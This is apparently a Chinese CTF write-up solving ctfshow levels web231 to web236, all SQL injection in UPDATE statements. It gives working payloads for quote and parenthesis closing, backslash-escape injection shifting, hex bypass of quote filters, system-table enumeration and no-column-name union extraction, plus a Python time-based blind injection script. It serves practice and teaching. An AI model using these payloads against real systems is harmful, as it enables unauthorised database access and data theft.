目录
1、web231
2、web232
3、web233
4、web234
5、web235
6、web236
1、web231
拼接的是 update 语句
//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
password 和 username 可控,注入地方还是在 api 接口下,请求方式为 post
先是在 password 的位置闭合前面单引号,注释后面单引号,尝试查数据库名:
password=database()',username=111#&username=222
unicode 解码是更新成功的意思:
刷新 update.php 页面:
发现密码被设置成了 database(),用户名被设置成了 111,我们前面语句中的 username=222 是传给 where 后的 username 的,前面的 username=111 是给到 set 语句,由于密码里的 database() 没有回显出数据库名,那么我们尝试插到用户名的位置:
password=111',username=database()#&username=222
刷新页面,回显成功:
拿到数据库名为 ctfshow_web
接下来就可以继续查表名了:
password=111',username=(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web')#&username=222
注意其中 select 查询语句整体要使用括号包裹起来
拿到表名:banlist,ctfshow_user,flaga
我们查 flaga 表下的列名:
password=111',username=(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='flaga')#&username=222
拿到列名:id,flagas,info
查字段 flagas 的具体信息:
password=111',username=(select flagas from flaga)#&username=222
get flag:ctfshow{80d31d0b-efe8-4acd-9541-c73efa84d7d4}
2、web232
//分页查询
$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";
新增 md5 加密,我们对 md5 这个函数的括号进行闭合即可:
password=111'),username=database()#&username=222
数据库名还是 ctfshow_web,后面的密码是我们输入的 111 经过 md5 加密后的内容
查表名:
password=111'),username=(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web')#&username=222
banlist,ctfshow_user,flagaa
查 flagaa 表下的列名:
password=111'),username=(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='flagaa')#&username=222
id,flagass,info
查 flagass 的信息:
password=111'),username=(select flagass from flagaa)#&username=222
拿到 flag:ctfshow{5d22a4bd-0a84-48e0-a447-0564861c1552}
3、web233
查询语句和 web231 一样,说是没有过滤,但是用前面的 payload 打不通
查询失败
测试了一下发现 username 存在注入点
password=111&username=1'or sleep(3)#
但是 sleep 时间太长了
我们改小一点,sleep(0.1) 即可实现 2s 以上的延时,完全够了
写个盲注脚本试试,数据库名就不跑了,直接跑表名:
payload = {'password': '1','username': f"0'or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {j}, 1) = '{k}',sleep(0.1),0)#"}
拿到表名:flag233333
跑这个表下的所有列名:
payload = {'password': '1','username': f"0'or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag233333'), {j}, 1) = '{k}',sleep(0.1),0)#"}
有一个叫 flagass233 的东西,那就是它了。
跑具体字段信息:
payload = {'password': '1', 'username': f"0'or if(substr((select group_concat(flagass233) from flag233333), {j}, 1) = '{k}',sleep(0.1),0)#"}
拿到 flag:ctfshow{358cedf9-bdbe-49c6-a609-2a2b25df682e}
附上勇师傅的完整脚本:
# @author:Myon
# @time:20240823
import requests
import string
url = 'http://202073c0-c44d-4aee-adb7-20e2a7222d78.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''
for j in range(1, 50):
for k in dic:
# payload = {'password': '1','username': f"0'or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {j}, 1) = '{k}',sleep(0.1),0)#"} # 猜表名
# payload = {'password': '1','username': f"0'or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag233333'), {j}, 1) = '{k}',sleep(0.1),0)#"} # 猜列名
payload = {'password': '1', 'username': f"0'or if(substr((select group_concat(flagass233) from flag233333), {j}, 1) = '{k}',sleep(0.1),0)#"} # 跑flag
re = requests.post(url, data=payload)
if re.elapsed.total_seconds() > 2:
out += k
break
print(out)
由于这次的注入点在第二个参数,where 后面出来的内容我们根本就看不到,没有回显,这也是为什么我们前面要采用盲注,而 update.php 的回显是根据 set 那里出来的,那么如何让注入跑到第一个参数那里去呢?
password=\&username=,username=database()#
看原始的 sql 语句:
set pass = '{$password}' where username = '{$username}';
拼接后:
set pass = '\' where username = ',username=database()#';
第二个单引号被转义了,也就是说 pass 被设置成了 ' where username =
而 set 的 username 为 database()
刷新查看 update.php,数据库名回显成功:
在这个思路上就可以继续查表名了:
password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web')#
查列名:
password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='flag233333')#
查字段信息:
password=\&username=,username=(select flagass233 from flag233333)#
4、web234
查询语句看着和前面没什么区别
但是加上单引号和不加单引号回显结果不一样,应该是过滤掉了单引号
但是上一题转义的方法可用,查表:
password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
flag23a
查列名:
注意我们的 payload 里面不能出现单引号否则会查询失败,采用十六进制绕过
password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c6167323361)#
或者你不指定表名:
只是查出的结果多些而已
password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_schema=database())#
拿到字段名 flagass23s3
查字段信息:
password=\&username=,username=(select flagass23s3 from flag23a)#
拿到 flag:ctfshow{cc5cf077-d799-46be-a0c1-ab8e0aa251ab}
5、web235
新增过滤 or '
password=\&username=,username=database()#
查库名还是可以的
但是在查表名的时候就不行了
看了 wp 说是 or 被过滤导致 information_schema 库不能使用,但是我并不理解为什么 or 被过滤会影响到 information_schema 库的使用,有知道的师傅吗,可以解释下。
使用 mysql.innodb_table_stats 和 mysql.innodb_index_stats 代替,它们是 MySQL 内部的系统表,用于存储 InnoDB 引擎相关的统计信息,内容与 information_schema.tables 类似,也可以用来获取数据库中的库名和表名,这两个表都包含了 database_name 和 table_name 字段。
查表名:
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
拿到表名:flag23a1
但是 mysql.innodb_table_stats 和 mysql.innodb_index_stats 下不包含列名信息,这里需要采用无列名注入:
password=\&username=,username=(select group_concat(`2`) from (select 1,2,3 union select * from flag23a1) as a)#
内层:(select 1,2,3 union select * from flag23a1) as a 会生成了一个临时表,由 select 1, 2, 3 创建的三列数据和 select * from flag23a1 得到的 flag23a1 表中的所有列拼接形成,别名 a 用于引用该临时表。
外层:select group_concat(`2`) from... 会将结果集中所有第二列的数据连接起来,查询返回表 flag23a1 中第二列的数据连接值。
拿到 flag:ctfshow{c55a9d76-33b4-4793-ad63-e3efd7324ba0}
如果反引号被过滤了,可以继续采用 as 起别名:
其实 as 是可以省略的,只是为了增强可读性我们一般不省略。
password=\&username=,username=(select group_concat(myon) from (select 1,2 as myon,3 union select * from flag23a1) as a)#
也是可行的
6、web236
新增过滤 flag,实际测试发现并没影响,不懂。
查表:
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
banlist,ctfshow_user,flaga
查 flag:
password=\&username=,username=(select group_concat(myon) from (select 1,2 as myon,3 union select * from flaga)a)#
拿到 flag:ctfshow{5f27d65e-fc8b-48be-b35a-f9dc6c221ede}